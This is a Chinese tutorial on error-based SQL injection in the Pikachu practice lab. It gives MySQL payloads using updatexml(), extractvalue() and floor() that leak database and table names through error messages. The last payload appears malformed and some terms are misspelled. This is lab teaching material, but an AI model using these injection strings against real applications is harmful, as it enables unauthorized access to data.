Pikachu靶场之SQL注入-基于报错的注入
报错注入:利用插入函数中错误的语法来进行报错,从而将想要的信息提取出来。
- 需要条件:后端并没有将数据库报错信息给屏蔽或者将报错页面进行一个错误页面调转,导致语法错误时,一些重要信息会被显示在前端。
updatexml()
:函数是 Mysql 对 XML 文档数据进行查询和修改的 Xpath 函数函数语法:
updatexml(xml_document,XPathstring,new_vale)
有三个参数updatexml
函数报错的关键在于XPathstring参数,xpath定位必须是有效的,否则将会发生错误下面用Pikachu平台进行测试验证
Payload:
LawAdge' AND updatexml(1,concat(0x7e,database()),0)#
获取数据库名称Payload:
LawAdge' AND updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
获取表名
在insert/update下测试
Payload:
LawAdge' or updatexml(1,concat(0x7e,database()),0) or '
在delect注入下测试
抓取post包 插入payload
Payload:
1 or updatexml(1,concat(0x7e,database()),0)
需要url编码
extractvalue()`:同 updatexml 一样
语法格式:
ExtractValue(Xml_domucent,XPath_string)
有两个参数原理跟
updatexml
函数差不多 报错的关键在于XPathstring参数,xpath定位必须是有效的,否则将会发生错误Payload:
LawAdge' and extractvalue(1,concat(0x7e,database()))#
floor()
: Mysql 中用来取整的函数floor原理可以参考此文
Payload:
LawAdge' or (select 2 from (select count(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#